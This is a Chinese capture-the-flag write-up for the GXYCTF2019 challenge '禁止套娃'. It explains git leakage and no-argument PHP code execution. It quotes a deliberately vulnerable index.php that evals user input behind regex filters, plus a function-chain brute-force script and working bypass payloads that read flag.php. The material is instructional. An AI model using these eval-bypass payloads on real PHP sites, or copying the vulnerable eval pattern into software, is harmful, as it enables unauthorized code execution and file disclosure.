[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃

​ 写在前面的话:在比赛中做过一次这样的题,现在遇到这样的题理解起来更容易

​ 考点:

1、git泄漏

2、无参数rce

index.php源码如下

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

三层正则匹配进行过滤,有关 get 的函数不能用

方法一 session_id

适用于:php7以下的版本
● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id(),对应cookie中的PHPSESSID
● session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。

先用session_start()启动会话,用session_id()获得PHPSESSID的值,由于index.php包含flag.php,所有可以直接将flag.php的内容高亮显示出来

在这里插入图片描述

方法二scandir()

可以获得 . /的payload如下,当然还有很多其他的方法

chr(ord(strrev(crypt(serialize(array())))))
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))//利用三角函数生成

找到一个三角函数的脚本,一起贴在这里

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
    //  .的ascii码是46、 /的ascii码是47
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";    
}}}}}}}}
?>

函数作用

● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
● array_reverse()	以相反的顺序返回数组。

payload如下

exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值